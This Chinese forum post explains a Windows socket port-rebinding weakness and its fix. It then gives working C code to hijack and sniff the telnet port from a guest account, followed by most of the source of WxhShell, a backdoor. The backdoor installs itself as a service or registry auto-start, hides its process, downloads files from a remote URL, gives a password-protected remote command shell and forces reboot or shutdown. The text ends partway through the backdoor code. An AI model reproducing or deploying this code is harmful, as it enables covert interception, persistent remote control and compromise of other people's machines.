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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: it Byw1/  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ULqFJ*nla  
ljr?Z,R4  
  saddr.sin_family = AF_INET; %25GplMT  
%\i OX|F_  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); fVb~j;  
>iZ"#1ZL2O  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); #(i9G^K  
fD^$ y 8  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 0Nvk|uI V[  
+v!% z(  
  这意味着什么?意味着可以进行如下的攻击: Zb p+b;  
RM\A$.5  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 K{]9Yo  
)=~OP>7B  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) c#-o@`Po  
16J" QUuG  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 hH&A1vUv  
25 NTtj:X  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  (qG}`?219J  
F.]D\"0`  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 M<nKk#!+h  
';>]7oT`  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 h83W;s  
<$ "   
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 U ]o  
zJ"`40V*;  
  #include No|T#=BZ[  
  #include Kc3BVZ71  
  #include @%aU)YDwi  
  #include    Q%_QT0H9Kz  
  DWORD WINAPI ClientThread(LPVOID lpParam);   dH5 Go9`~R  
  int main() #N?VbDK9_  
  { ;hz;|\ko5  
  WORD wVersionRequested; ^k* h  
  DWORD ret; \LN!k-c  
  WSADATA wsaData; *n"{]tj^>  
  BOOL val; zwLJ|>  
  SOCKADDR_IN saddr; q(Q$lRj/I-  
  SOCKADDR_IN scaddr; ?RP&XrD  
  int err; UrMEL; @g  
  SOCKET s; n+'gVEBA  
  SOCKET sc; Em<B 9S  
  int caddsize; |~+i=y  
  HANDLE mt; O`M 6 =\  
  DWORD tid;   [3@Pu.-I+M  
  wVersionRequested = MAKEWORD( 2, 2 ); D1ep7ykY  
  err = WSAStartup( wVersionRequested, &wsaData ); 43'!<[?x  
  if ( err != 0 ) { ro %Jg  
  printf("error!WSAStartup failed!\n"); _~QiQDq  
  return -1; 8q}955Nl  
  } vtA%^~0  
  saddr.sin_family = AF_INET; =._V$:a6o  
   ~W>3EJghR,  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 M:PEY*4H  
HQy:,_f@  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); H Q_IQ+  
  saddr.sin_port = htons(23); ++gWyzD  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) >bLhCgF:"  
  { F|wT']1Y  
  printf("error!socket failed!\n");  @mD$Z09~  
  return -1; hI$IBf>  
  } -eQ>3x&3r  
  val = TRUE; f>!H<4 ]  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 D\4pLm"!v  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) Pg''>6w>  
  { hy]8t1894  
  printf("error!setsockopt failed!\n"); -4;$NiB?  
  return -1; vWs#4JoG  
  } ` P,-NVB  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; O>KrTK-AV  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 (zmL MG(R  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 : Yb_  
2]UwIxzR  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) K!<3|d  
  { 83i;:cn  
  ret=GetLastError(); >d9b"T  
  printf("error!bind failed!\n"); )wM881_!  
  return -1; Q2)CbHSz  
  } aA6m5  
  listen(s,2); 75"&"*R/*G  
  while(1) {0o ,2]o!:  
  { YXlaE=9bn  
  caddsize = sizeof(scaddr); <K:L.c!  
  //接受连接请求 {Qf/.[  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); /S #Z.T~~  
  if(sc!=INVALID_SOCKET) Gf->N `N  
  { 1_B;r9x  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); [.Y]f.D  
  if(mt==NULL) d(_;@%p1X  
  { N?{.}-Q  
  printf("Thread Creat Failed!\n"); 0 3?7kAI  
  break; J?$`Tnx^  
  } ]}Jb'(gMO4  
  } J5zKwt  
  CloseHandle(mt); tt03 gU`  
  } {5NE jUu{j  
  closesocket(s); Jwtt&" c0.  
  WSACleanup(); 3P|z`}Ka  
  return 0; 5L0w!q'W  
  }   L2Z-seE  
  DWORD WINAPI ClientThread(LPVOID lpParam) q&nEodv>+  
  { 3-T"[tCe  
  SOCKET ss = (SOCKET)lpParam; k++"  
  SOCKET sc; K&{ruHoKB  
  unsigned char buf[4096]; S] R.:T_%  
  SOCKADDR_IN saddr; E5X#9;U8E"  
  long num; !<UdG+iV  
  DWORD val; hcT5>w[  
  DWORD ret; ?~9o2[  
  //如果是隐藏端口应用的话,可以在此处加一些判断 f~R`RBZ]9  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   [NU@A>H  
  saddr.sin_family = AF_INET; c?%}J\<n  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); }08Sv=XM  
  saddr.sin_port = htons(23); 68()2v4X  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) d9.I83SS  
  { (v0i]1ly[  
  printf("error!socket failed!\n"); _x]q`[Dih  
  return -1; Yc-gJI*1  
  } 6#;u6@+}yy  
  val = 100; y6P-:f/&*  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) l H{~?x  
  { J93@\b  
  ret = GetLastError(); tpn.\z%  
  return -1; cq4sgQ?sW  
  } v@1f,d  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) {wp tOZ  
  { BMH?BRi  
  ret = GetLastError(); U1=]iG<%  
  return -1; [<JY[o=  
  } fD#!0^  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) bqwn_=.  
  { zxrbEE Q  
  printf("error!socket connect failed!\n"); T( CTU/a-,  
  closesocket(sc); Z^t{m!v  
  closesocket(ss); 5n1T7-QCL  
  return -1; r:Ok z  
  } 5gZ *  
  while(1) *lBX/O`=  
  { l}XnCOIT,  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 %g7B*AX]  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 V5!mV_EoR@  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 ;6q`c !p7  
  num = recv(ss,buf,4096,0); v9GfudTZR  
  if(num>0) {q/D,Rh8  
  send(sc,buf,num,0); 0[92&:c,  
  else if(num==0) ,D93A  
  break; +-PFISa<r  
  num = recv(sc,buf,4096,0); O6b.oS '-  
  if(num>0) %T DY &@i=  
  send(ss,buf,num,0); 9)S,c =z83  
  else if(num==0) Vy+kq_9  
  break; jP )VTk_  
  } \os"j  
  closesocket(ss); **~1`_7~*  
  closesocket(sc); K}!YXy h  
  return 0 ; XSktb k  
  } L YMb)=u]  
I6Oc`S!L  
0F%V+Y\R  
========================================================== 0GcOI}  
{KqERS& g  
下边附上一个代码,,WXhSHELL xF`O ehVA  
.tzQ hd>  
========================================================== gezZYP)d  
i,mo0CSa  
#include "stdafx.h" iz:O]kI  
Vb/XT{T;b  
#include <stdio.h> znNv;-q  
#include <string.h> t}2M8ue(&  
#include <windows.h> VcORRUp  
#include <winsock2.h> HC RmW'  
#include <winsvc.h> 0Rz",Mu>  
#include <urlmon.h> 7s2e> 6Q[  
ZnRE:=  
#pragma comment (lib, "Ws2_32.lib") ke5_lr(  
#pragma comment (lib, "urlmon.lib") %VGQ{:  
T#=&oy7  
#define MAX_USER   100 // 最大客户端连接数 M<3m/l%`Y  
#define BUF_SOCK   200 // sock buffer r=ht:+m  
#define KEY_BUFF   255 // 输入 buffer cE3V0voSw1  
Y@'ahxF  
#define REBOOT     0   // 重启 `E5vO1Pl  
#define SHUTDOWN   1   // 关机 KZI-/H+  
c\N-B,m&  
#define DEF_PORT   5000 // 监听端口 +KHk`2{y~  
xi!R[xr1  
#define REG_LEN     16   // 注册表键长度 {>zQW{!  
#define SVC_LEN     80   // NT服务名长度 xwZ7I  
Vf` 9[*j  
// 从dll定义API cB2jf</  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); fXB64MNo  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); =d1i<iw?-  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);  4d )Q  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); C:P.+AU"`  
V1\x.0Fs  
// wxhshell配置信息 W*Ce1  
struct WSCFG { ZsL-vlv  
  int ws_port;         // 监听端口 Q=.j>aM+_  
  char ws_passstr[REG_LEN]; // 口令 -LMO f?  
  int ws_autoins;       // 安装标记, 1=yes 0=no ]tO9<  
  char ws_regname[REG_LEN]; // 注册表键名 G FO(O  
  char ws_svcname[REG_LEN]; // 服务名  #)28ESj  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 0?\d%J!"S  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 4e9'yi  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 !_LRuqQ?"  
int ws_downexe;       // 下载执行标记, 1=yes 0=no TDjjaO  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ~e R6[;  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 5wGc"JHm  
^*+-0b;[G  
}; .="[In '  
w\Bx=a>vc  
// default Wxhshell configuration 4P$#m<;t  
struct WSCFG wscfg={DEF_PORT, XjV,wsZ=  
    "xuhuanlingzhe", #>(h!lT_  
    1, GeCyq%dN  
    "Wxhshell", Zmr*$,v<y  
    "Wxhshell", sp&)1?!M  
            "WxhShell Service", bx%P-r31  
    "Wrsky Windows CmdShell Service", .LEn~ 8  
    "Please Input Your Password: ", {-kV~p  
  1, /b~|(g31"  
  "http://www.wrsky.com/wxhshell.exe", 7d'gG[Z^^  
  "Wxhshell.exe" Jz'8|o;^  
    }; J3#  
,K[}Bz  
// 消息定义模块 6$"0!fl>  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; "\u_gk{g  
char *msg_ws_prompt="\n\r? for help\n\r#>"; :Y>M/ /0  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; @qWes@  
char *msg_ws_ext="\n\rExit."; S!wY6z  
char *msg_ws_end="\n\rQuit."; *WX,bN6Ot  
char *msg_ws_boot="\n\rReboot..."; d&[.=M\E8  
char *msg_ws_poff="\n\rShutdown..."; Ex3V[v+D(  
char *msg_ws_down="\n\rSave to "; @&E{ L  
}!0nb)kL  
char *msg_ws_err="\n\rErr!"; "N4rh<<  
char *msg_ws_ok="\n\rOK!"; C`>|D [  
VLfE3i4Vwl  
char ExeFile[MAX_PATH]; )4/227b/(  
int nUser = 0; @Zd/>'  
HANDLE handles[MAX_USER]; ZsikI@?  
int OsIsNt; iv]*HE  
*C n `pfO  
SERVICE_STATUS       serviceStatus; jM  DG  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; wa}\bNKQk  
om'DaG`A  
// 函数声明 +:fr(s!OE  
int Install(void); rezH5d6z62  
int Uninstall(void); = ;"$t_t  
int DownloadFile(char *sURL, SOCKET wsh); #{u>  
int Boot(int flag); d)X6x-(  
void HideProc(void); FtL{ f=  
int GetOsVer(void); , ,=7deR  
int Wxhshell(SOCKET wsl); ^@0-E@ {c  
void TalkWithClient(void *cs); D/=  AU  
int CmdShell(SOCKET sock); auP6\kpMe  
int StartFromService(void); GMO|A.bzzN  
int StartWxhshell(LPSTR lpCmdLine); . |g67PH=  
A(>kp=~  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ]jL`*tI\S  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 3d0Yq  
(e$/@3*  
// 数据结构和表定义 C/L+:b&x~  
SERVICE_TABLE_ENTRY DispatchTable[] = p|b&hgA  
{ [$b\#{shtP  
{wscfg.ws_svcname, NTServiceMain}, t6H9Q>*  
{NULL, NULL} !\%0O`b^4  
}; P6cc8x9g(  
Pxn;]!Z #  
// 自我安装 \x_fP;ma=_  
int Install(void) q:D!@+U  
{ LVj62&,-  
  char svExeFile[MAX_PATH]; $2j?Z.yEG  
  HKEY key; 47c` ) *Hc  
  strcpy(svExeFile,ExeFile); ^,.G<2Kx&  
kTLA["<m  
// 如果是win9x系统,修改注册表设为自启动 !z.C}n5F  
if(!OsIsNt) { }4n?k'_s?  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { j 4B|ktf  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ^YLpZoo  
  RegCloseKey(key); }m6j6uAR6)  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ? <.U,  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); _+\hDV>v  
  RegCloseKey(key); 5Se S^kJC  
  return 0; uJP9J  U  
    } `RG_FS"v  
  } %)K)h&m  
} 3g#fX{e_5!  
else { LFx*_3a  
gZs UX^%  
// 如果是NT以上系统,安装为系统服务 LBlaDw  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); mf>cv2+  
if (schSCManager!=0) '0!IF&p'  
{ jJmg9&^R  
  SC_HANDLE schService = CreateService {,|J?>{  
  ( #!%\97ZR  
  schSCManager, NI^[7.2  
  wscfg.ws_svcname, @?GOOD_i  
  wscfg.ws_svcdisp, (HUGgX"=  
  SERVICE_ALL_ACCESS, ;-koMD!2F  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , m j{ /'  
  SERVICE_AUTO_START, G1d!a6>  
  SERVICE_ERROR_NORMAL, qOKC2WD  
  svExeFile, EQ j2:9f  
  NULL, f V|Zh  
  NULL, GoGo@5n(Z  
  NULL, i*JbFukG  
  NULL, =v$H8w  
  NULL \gE3wmSJ,  
  ); I oz rZ  
  if (schService!=0) MpV6Vbp  
  { -k19BDJ,W  
  CloseServiceHandle(schService); +P~E54  
  CloseServiceHandle(schSCManager); +C{ %pF  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); [akyCb  
  strcat(svExeFile,wscfg.ws_svcname); Us ]Uy|j  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { cXO_g!&2A  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); c !ybz{L  
  RegCloseKey(key); ZZa$/q"  
  return 0; z.9 #AN=&[  
    } EuAJ.n  
  } "KY9MBzPD  
  CloseServiceHandle(schSCManager); 'ErtiD  
} o 6$Q>g`]  
} fU+A~oL%I  
`NC{+A  
return 1; p[QF3)9F  
} su`] l"[,]  
!Z7 ~R sdm  
// 自我卸载 G B+U>nf  
int Uninstall(void) *q%)q  
{ R,hX *yVq  
  HKEY key; NC 0H5  
xi6Fs, 2S  
if(!OsIsNt) { lrSo@JQ  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 9oteQN{9  
  RegDeleteValue(key,wscfg.ws_regname); $+Hv5]/hb  
  RegCloseKey(key); 5Dy800.B2  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ~%4#R4&  
  RegDeleteValue(key,wscfg.ws_regname); >mT< AQ  
  RegCloseKey(key);  KUfk5Y  
  return 0; :;u~M(R  
  } T x_n$ &  
} W"mkNqH  
} Ah_'.r1<P9  
else { 8KpG0DC  
z,nRw/o  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); wovWEtVBU  
if (schSCManager!=0) .Lrdw3(  
{ V*U7-{ *a  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); Kfc(GL?  
  if (schService!=0) @|&P#wd.u  
  { (U/xpj}  
  if(DeleteService(schService)!=0) { C!SB5G>OH  
  CloseServiceHandle(schService); .cA[b  
  CloseServiceHandle(schSCManager); 47"ERfP  
  return 0; +:2(xgOP.V  
  } BCya5!uy  
  CloseServiceHandle(schService); _Gy*";E  
  } AM}-dKei|  
  CloseServiceHandle(schSCManager); t_YiF%}s&#  
} 3\FiQ/?  
} ;o\0:fzr  
[IxZweK  
return 1; #(@dN+  
} j0sR]i  
voaRh@DZ%/  
// 从指定url下载文件 F!VC19<1O8  
int DownloadFile(char *sURL, SOCKET wsh) 17G7r\iNYq  
{ C ,Je>G  
  HRESULT hr; d]h[]Su/?  
char seps[]= "/"; &^th KXEC  
char *token; ]?U:8%  
char *file; J$PE7*NU  
char myURL[MAX_PATH]; muQ7sJ9 r  
char myFILE[MAX_PATH]; ;w?zmj<Dm  
&l%#OI}OE  
strcpy(myURL,sURL); 4EuZe:'X  
  token=strtok(myURL,seps); tkWWR%c"  
  while(token!=NULL) aO'$}rDf$  
  { }rVnuRq  
    file=token; t09,X  
  token=strtok(NULL,seps); MC3XGnT#5  
  } J6Mm=bO5  
tiwhG%?2  
GetCurrentDirectory(MAX_PATH,myFILE); Y( /VW&K&:  
strcat(myFILE, "\\"); (~{7e/)r  
strcat(myFILE, file); a2iaP  
  send(wsh,myFILE,strlen(myFILE),0); jHB,r^:'  
send(wsh,"...",3,0); bdqo2ZO  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); p`{9kH1me  
  if(hr==S_OK) $,icKa   
return 0; [HIg\N$I8C  
else k+-u 4W   
return 1; 6R@ v>}  
G\TyXq_4  
} dvsOJj/b  
wmY6&^?uS  
// 系统电源模块 0_Etm83Wq6  
int Boot(int flag) yq[C?N &N  
{ e&F,z=XJ}  
  HANDLE hToken; bM8b3, }?n  
  TOKEN_PRIVILEGES tkp; @8 @cpm  
>'Nrvy%&0  
  if(OsIsNt) { 4|Jy]  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); &e[/F@\%  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); fCZbIt)Eh  
    tkp.PrivilegeCount = 1; ~&k1P:#R  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; V )1SZt@x  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); RsVba!x@  
if(flag==REBOOT) { =g/K>B  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) GS$OrUA  
  return 0; XXmtpM8  
} Aye!@RjM8  
else { ^`=Z=C$fj  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) G?=X!up(  
  return 0; hig^ovF  
} +t/ VF(!  
  } ~mK9S^[  
  else { KWy4}7a@,s  
if(flag==REBOOT) { MsX`TOyO!  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) E'Egc4Z2=l  
  return 0; x1+8f2[  
} _V6;`{$WK  
else { F:IG3 @  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) >F,~QHcz  
  return 0; v"_hWJ)  
} &hd+x5  
} z7{b>oub('  
r6 ,5&`&  
return 1; q(!191@C(  
} 4<Bj;1*4  
kHX- AsRc  
// win9x进程隐藏模块 5@Ot@o  
void HideProc(void) $>5|TG 0i  
{ H <F6o-*  
J9I!d.U  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); Aq QArSu,  
  if ( hKernel != NULL ) Thw E1M  
  { 4\ H;A  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); "+&|$*  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); +UHf&i/3  
    FreeLibrary(hKernel); %dO'kU/-  
  } Sxjwqqv  
7qgHH p  
return; $0D]d.w=  
} k=w%oqpN  
X!"ltNd  
// 获取操作系统版本 f]%$HfF @  
int GetOsVer(void) ph%/;?wY  
{ /jeurCQ8#u  
  OSVERSIONINFO winfo; s+C&\$E  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ^#lPXC Bg  
  GetVersionEx(&winfo); n/S1Hae`  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) hUB _[#8#  
  return 1; =<iK3bPkU  
  else ?o),F^ir  
  return 0; Skp&W*Ai  
} [=7|LH jU  
#s)6u?N  
// 客户端句柄模块 MPT*[&\-  
int Wxhshell(SOCKET wsl) 2m[z4V@`  
{ t~Cul+  
  SOCKET wsh; z[}[:H8  
  struct sockaddr_in client; =+'4u  
  DWORD myID; rC[*x}  
@lDoMm,m'  
  while(nUser<MAX_USER) j5G8IP_Wx  
{ `kVy1WiY  
  int nSize=sizeof(client); m+"?;;s  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); L @t<%fy@  
  if(wsh==INVALID_SOCKET) return 1; Z-*L[  
HPg@yx"U  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 80&JEtRh  
if(handles[nUser]==0) %W+*)u72(  
  closesocket(wsh); !d&K,k  
else ;6U=fBp7<  
  nUser++; K82pWpR  
  } )(_}60  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); x =5k74  
V[5-A $ft  
  return 0; xWU0Ev)4U  
}  l}5@6;}  
yO]Vex5)  
// 关闭 socket GFYAg  
void CloseIt(SOCKET wsh) k3}|^/bHJ  
{ L#M9!  
closesocket(wsh); r|{h7'  
nUser--; ]xCJ3.9  
ExitThread(0); O!\P]W4r$  
} 25::z9i  
O0i_h<T  
// 客户端请求句柄 o(u&n3Q'  
void TalkWithClient(void *cs) (XX6M[M8  
{ T7'njaLec  
S}cpYjnH8  
  SOCKET wsh=(SOCKET)cs; jY(' ?3  
  char pwd[SVC_LEN]; cuB~A8H#}  
  char cmd[KEY_BUFF]; w\:-lXw  
char chr[1]; $ [by)  
int i,j; B= jJ+R  
O1ofN#u  
  while (nUser < MAX_USER) { %kxq"=3  
+5JCbT@y  
if(wscfg.ws_passstr) { nws '%MK)  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); l|/h4BJ'  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); B-@6m  
  //ZeroMemory(pwd,KEY_BUFF); G{pfyfF  
      i=0; e_kP=|u)g  
  while(i<SVC_LEN) { P|!GXkS  
`kpX}cKK}  
  // 设置超时 X2}\i5{  
  fd_set FdRead; hJ (Q^Z  
  struct timeval TimeOut; 5IOOVYl  
  FD_ZERO(&FdRead); `|X E B  
  FD_SET(wsh,&FdRead); [V|,O'X ~  
  TimeOut.tv_sec=8; E!8FZv8  
  TimeOut.tv_usec=0; _[<R<&jG  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ^&03D5@LoY  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); E3X:{h/  
+?w 7Nm`  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); m$ )yd~  
  pwd=chr[0]; X*KQWs.  
  if(chr[0]==0xd || chr[0]==0xa) { 8V`NQS$  
  pwd=0; 9TIyY`2!  
  break; h3Nwxj~E  
  } ms{:=L2$$  
  i++; Kyt.[" p  
    } 1XSA3;ZEc  
& Gp@,t  
  // 如果是非法用户,关闭 socket jr bEJ.  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); X,C&nqVFm8  
} 5|my}.TR  
J;W(}"cFq  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ?l! L )!2  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ig4wwd@|  
%0fF_OU  
while(1) { `KqMcAW  
Dd-;;Y1C  
  ZeroMemory(cmd,KEY_BUFF); Sf);j0G,D  
\_Nr7sc\  
      // 自动支持客户端 telnet标准   peCmb)>Sa  
  j=0; <H<5E'm  
  while(j<KEY_BUFF) { ;5:g%Dt  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); x#-uf  
  cmd[j]=chr[0]; UCj4%y6t  
  if(chr[0]==0xa || chr[0]==0xd) { ([R}s/)$  
  cmd[j]=0; 1+~JGY#   
  break; 3~z4#8=  
  } L>5VnzSI  
  j++; g]EDL<b  
    } &$?e D{  
u/Fa+S  
  // 下载文件 >J_{mU  
  if(strstr(cmd,"http://")) { O#  .^}  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); '%_1eaH  
  if(DownloadFile(cmd,wsh)) Q/m))!ikMt  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 7}OzTup  
  else Fvf308[  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); S~d_SU~>`  
  } I+Qv$#S/  
  else { &I Iw>,,  
1mhX3  
    switch(cmd[0]) { (Z"QHfO'  
  [HI&>dm=$  
  // 帮助 SweaE Rl  
  case '?': { LTj;e[  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); fu?5gzT+b  
    break; nF~</>  
  } ,Xs%Cg_Ig  
  // 安装 S+3'C  
  case 'i': { %Fig`qX  
    if(Install()) )^7Y^u e  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); sDT(3{)L7  
    else RIOR%~U  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 79U Th@r}  
    break; GenkYtS  
    } e48`cX\E  
  // 卸载 wUWSW<  
  case 'r': { u 'DM?mV:-  
    if(Uninstall()) ]as_7  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); #t:]a<3Y2  
    else `2c>M\c4U  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); `*cT79  
    break; CB<1]Z  
    } ZKzXSI4  
  // 显示 wxhshell 所在路径 :*gYzk8  
  case 'p': { !<H[h4g  
    char svExeFile[MAX_PATH]; !`q*{Ojx  
    strcpy(svExeFile,"\n\r"); EF=.L{  
      strcat(svExeFile,ExeFile); ZZOBMF7  
        send(wsh,svExeFile,strlen(svExeFile),0); @P#uH5U  
    break; %ANo^~8  
    } .yE!,^j.gB  
  // 重启 AN7WMX  
  case 'b': { OLJb8kO  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 'c<vj jIg  
    if(Boot(REBOOT)) /%C6e )7BL  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); _+g5;S5  
    else { "'h?O*V]u{  
    closesocket(wsh); $gT+Ue|7  
    ExitThread(0); jXvGL  
    } 3p{N7/z(  
    break; Z m9 e|J  
    } :LBG6J  
  // 关机 lS]<~  
